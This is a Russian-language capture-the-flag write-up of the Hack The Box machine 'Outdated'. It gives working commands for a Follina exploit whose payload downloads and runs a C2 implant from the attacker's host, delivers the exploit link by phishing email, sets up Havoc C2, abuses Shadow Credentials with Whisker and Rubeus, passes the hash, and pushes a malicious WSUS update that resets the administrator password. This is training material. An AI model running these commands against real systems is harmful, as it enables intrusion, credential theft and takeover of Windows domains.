Хакер - HTB Outdated. Повышаем привилегии через службу обновления Windows

Хакер - HTB Outdated. Повышаем привилегии через службу обновления Windows

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Shadow Credentials
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать нашумев­шую уяз­вимость MSTD Follina, затем поз­лоупот­ребля­ем пра­вом AddKeyCredentialLink на учет­ную запись, а при повыше­нии при­виле­гий порабо­таем со служ­бой WSUS. Для удобс­тва исполь­зуем недав­но опуб­ликован­ный C2-фрей­мворк Havoc.

Пло­щад­кой для упражне­ний нам пос­лужит тре­ниро­воч­ная машина Outdated с пло­щад­ки Hack The Box. Ее уро­вень слож­ности оце­нен как сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.175 outdated.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли мно­го откры­тых пор­тов, что типич­но для Windows:

  • 25 — служ­ба SMTP (поч­товый сер­вер);
  • 53 — служ­ба DNS;
  • 88 (филь­тру­ется) — служ­ба Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций вза­имо­дей­ствия кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 139 — служ­ба сеан­сов NetBIOS, NetLogon;
  • 389 (филь­тру­ется) — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — исполь­зует­ся в служ­бах DCOM и MS Exchange;
  • 636 — LDAP с шиф­ровани­ем SSL или TLS;
  • 3268 (LDAP) (филь­тру­ется) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру;
  • 3269 (LDAPS) — для дос­тупа к Global Catalog от кли­ента к кон­трол­леру через защищен­ное соеди­нение;
  • 5985 (филь­тру­ется) — служ­ба уда­лен­ного управле­ния WinRM;
  • 8530, 8531 (филь­тру­ется) — служ­ба WSUS для обновле­ний опе­раци­онных сис­тем и про­дук­тов Microsoft;
  • 9389 (филь­тру­ется) — веб‑служ­бы AD DS.

Пор­ты 22 и 636 откры­вают нам новые домен­ные име­на, которые добавим в файл /etc/hosts:

10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb 

ТОЧКА ВХОДА

Пер­вым делом необ­ходимо про­верить, нет ли ано­ним­ного дос­тупа к служ­бе SMB. Для это­го авто­ризу­емся от име­ни поль­зовате­ля guest с пус­тым паролем. С помощью ути­литы CrackMapExec с парамет­ром --shares можем сра­зу получить дос­тупные общие ресур­сы.

crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares

Дос­тупные общие ресур­сы

По­луча­ем спи­сок общих ресур­сов и отме­чаем для себя дос­тупный для чте­ния каталог Shares. Для работы с ресур­сом SMB будем исполь­зовать smbclient из пакета скрип­тов impacket.

impacket-smbclient guest@dc.outdated.htb

use shares

ls

Со­дер­жимое катало­га shares

На­ходим все­го один документ, который забира­ем на свой хост коман­дой get NOC_Reminder.pdf.

Со­дер­жимое докумен­та NOC_Reminder.pdf

Это отчет, который пре­дос­тавля­ет нам спи­сок текущих уяз­вимос­тей (не факт, что зак­рытых). Так­же говорит­ся, что мы можем прис­лать на адрес itsupport@outdated.htb ссыл­ку на уяз­вимое при­ложе­ние. В спис­ке отме­чаем недав­но нашумев­шую уяз­вимость CVE-2022-30190, она же Follina.

ТОЧКА ОПОРЫ

Вос­поль­зуем­ся готовым экс­пло­итом, но так как нам нуж­на ссыл­ка на саму наг­рузку, а не документ, содер­жащий ее, то вне­сем одно изме­нение. Най­дем в исходном коде наг­рузку и изме­ним ее на коман­ду, которая ска­чает исполня­емый файл и затем запус­тит.

Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\\Windows\\Tasks\\demon.exe; C:\\Windows\\Tasks\\demon.exe

Из­менен­ный код экс­пло­ита

Те­перь запус­тим файл follina.py, содер­жащий и наг­рузку, и веб‑сер­вер, и лис­тенер. Но вмес­то netcat мы будем исполь­зовать наг­рузку Havoc.

python3 follina.py --interface tun0 --port 8000 --reverse 4321

За­пуск follina.py

А теперь перей­дем к фрей­мвор­ку Havoc. Соб­рать и кли­ент, и сер­вер из исходни­ков очень лег­ко. Спер­ва уста­новим необ­ходимые пакеты.

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

Те­перь ска­чива­ем сам про­ект и собира­ем сна­чала кли­ент, потом сер­вер.

git clone https://github.com/HavocFramework/Havoc.git

#build client

cd Havoc/Client

make

cd ../..

#build server

cd Havoc/Teamserver

go mod download golang.org/x/sys

go mod download github.com/ugorji/go

./Install.sh

make

Те­перь вне­сем изме­нение в файл Havoc/Teamserver/profiles/havoc.yaotl, где ука­зыва­ем нас­трой­ки сер­вера, а так­же поль­зовате­лей для под­клю­чения.

Teamserver {

Host = "0.0.0.0"

Port = 9898

Build {

Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"

Nasm = "/usr/bin/nasm"

}

}

Operators {

user "ralf" {

Password = "password"

}

}

Ког­да все готово, запус­каем кли­ент как Havoc/Client/Havoc и сер­вер:

./teamserver server --profile ./profiles/havoc.yaotl

За­тем соз­даем HTTPS-лис­тенер и генери­руем наг­рузку в фор­мате .exe.

Соз­дание лис­тенера
Соз­дание наг­рузки

В катало­ге, где рас­положе­на наг­рузка, запус­тим прос­той веб‑сер­вер:

python3 -m http.server 8080

За­тем отправ­ляем пись­мо.

swaks --to itsupport@outdated.htb --from ralf@ralf --server mail.outdated.htb --body "http://10.10.14.24:8000/"

От­прав­ка сооб­щения

Ма­шина с багами, поэто­му засылать при­ходи­лось по нес­коль­ку раз, а то и с ревер­том самой машины. Но все же отстук получить уда­лось.

Сес­сии Havoc

shell whoami

Ре­зуль­тат выпол­нения коман­ды whoami

ПРОДВИЖЕНИЕ

Те­перь нам нуж­но понять, куда дви­гать­ся даль­ше. Для это­го мы исполь­зуем очень кру­тую прог­рамму — BloodHound. В ней исполь­зует­ся теория гра­фов для выяв­ления скры­тых и час­то неп­редна­мерен­ных вза­имос­вязей в сре­де Active Directory. BloodHound мож­но исполь­зовать, что­бы иден­тифици­ровать очень слож­ные пути ата­ки, которые ина­че было бы невоз­можно быс­тро иден­тифици­ровать.

BloodHound

Так как у нас нет учет­ных дан­ных поль­зовате­ля домена, нам пред­сто­ит исполь­зовать вер­сию прог­раммы на C# на целевом хос­те. Бла­го Havoc поз­воля­ет выпол­нять сбор­ки .NET пря­мо в памяти без заг­рузки исполня­емо­го фай­ла на хост. Для это­го исполь­зуем коман­ду dotnet inline-execute. Пос­ле чего ска­чива­ем файл с соб­ранной информа­цией на коман­дный сер­вер коман­дой download.

dotnet inline-execute /home/ralf/tools/SHARP/Discovery/SharpHound.exe -c All

Ска­чан­ные фай­лы мож­но будет най­ти в хра­нили­ще Havoc.

Хра­нили­ще Havoc

Для работы с выход­ным фай­лом BloodHound нам нуж­но уста­новить СУБД Neo4j и гра­фичес­кую оснас­тку bloodhound для пос­тро­ения гра­фа свя­зей.

sudo apt install neo4j bloodhound

За­пус­тим уста­нов­ленную Neo4j коман­дой sudo neo4j console. Пос­ле сооб­щения об успешном стар­те зай­дем на localhost:7474 через бра­узер. Нам сра­зу пред­ложат уста­новить пароль. Пос­ле уста­нов­ки пароля запус­каем BloodHound (коман­да bloodhound в коман­дной стро­ке) и авто­ризу­емся с толь­ко что уста­нов­ленным паролем.

Ког­да откро­ется пус­тое окош­ко, закиды­ваем в него получен­ный архив. А затем в поле поис­ка ука­зыва­ем груп­пу поль­зовате­лей. На экра­не будут отоб­ражены все поль­зовате­ли из этой груп­пы, сре­ди которых най­дем под­кон­троль­ного нам и пометим как Mark User as Owned. На икон­ке поль­зовате­ля дол­жен появить­ся череп. Затем поп­росим BloodHound най­ти путь прод­вижения к дру­гим поль­зовате­лям от уже взло­ман­ного (которо­го мы толь­ко помети­ли) — опция Shortest Path from Owned Principals в гра­фе ана­лити­ки.

Граф прод­вижения

Так мы получим мар­шрут к зах­вату поль­зовате­ля sflowers, который явля­ется адми­нис­тра­тором WSUS, но об этом погово­рим уже при повыше­нии при­виле­гий. Сей­час же нам инте­рес­на груп­па ITSTAFF, которая име­ет пра­во AddKeyCredentialLink для учет­ной записи sflowers. Тут мы можем вос­поль­зовать­ся тех­никой Shadow Credentials.

Shadow Credentials

Эта тех­ника поз­воля­ет ата­кующе­му зав­ладеть учет­ной записью поль­зовате­ля или компь­юте­ра, если он может изме­нить атри­бут msDS-KeyCredentialLink целево­го объ­екта и добавить к нему аль­тер­натив­ные учет­ные дан­ные, такие как сер­тификат. Сде­лать это мож­но с помощью ути­литы Whisker.

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Whisker.exe add /target:sflowers

До­бав­ление аль­тер­натив­ных учет­ных дан­ных

Сер­тификат добав­лен, пароль показан, но так­же показа­на и сле­дующая коман­да, которой мы зап­росим тикет и хеш пароля поль­зовате­ля.

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIB...dNldA/o3dwICB9A= /password:"C9pt7Aokq2cmfYxq" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

NTLM-хеш поль­зовате­ля

С получен­ным хешем мож­но авто­ризо­вать­ся через служ­бу WinRM и запус­тить новый демон Havoc.

evil-winrm -i dc.outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5

Сес­сии Havoc
Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь вер­немся к груп­пе адми­нис­тра­торов WSUS. Мы можем управлять служ­бой WSUS, но преж­де, чем говорить о повыше­нии при­виле­гий, нам нуж­но про­верить еще два парамет­ра.

Пер­вый — обновле­ния зап­рашива­ются без исполь­зования SSL:

shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Зна­чение WUServer

Вто­рой — игно­риру­ется ли запись WUServer:

shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

Зна­чение UseWUServer

Ус­ловия соб­людены, поэто­му мы можем исполь­зовать тех­нику эска­лации через WSUS. Сна­чала заг­ружа­ем на хост PsExec64.exe.

upload /home/ralf/tmp/PsExec64.exe C:\Windows\Tasks\PsExec64.exe

Те­перь c помощью SharpWSUS соз­даем вре­донос­ное обновле­ние, которое изме­нит пароль адми­нис­тра­тора.

.\SharpWSUS.exe create /payload:"C:\Windows\Tasks\PsExec64.exe" /args:'-accepteula -s -d cmd.exe /c "net user administrator !QA@WS3ed4rf"' /title:"newWSUS"

Соз­дание вре­донос­ного обновле­ния

Те­перь раз­вернем наше обновле­ние.

.\SharpWSUS.exe approve /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb /groupname:"newgroup1"

При­мене­ние соз­данно­го обновле­ния

.\SharpWSUS.exe check /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb

И про­веря­ем его ста­тус.

Про­вер­ка ста­туса обновле­ния

Об­новле­ние прош­ло успешно, поэто­му можем под­клю­чить­ся по WinRM и заб­рать флаг рута.

evil-winrm -i dc.outdated.htb -u Administrator -p '!QA@WS3ed4rf'

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page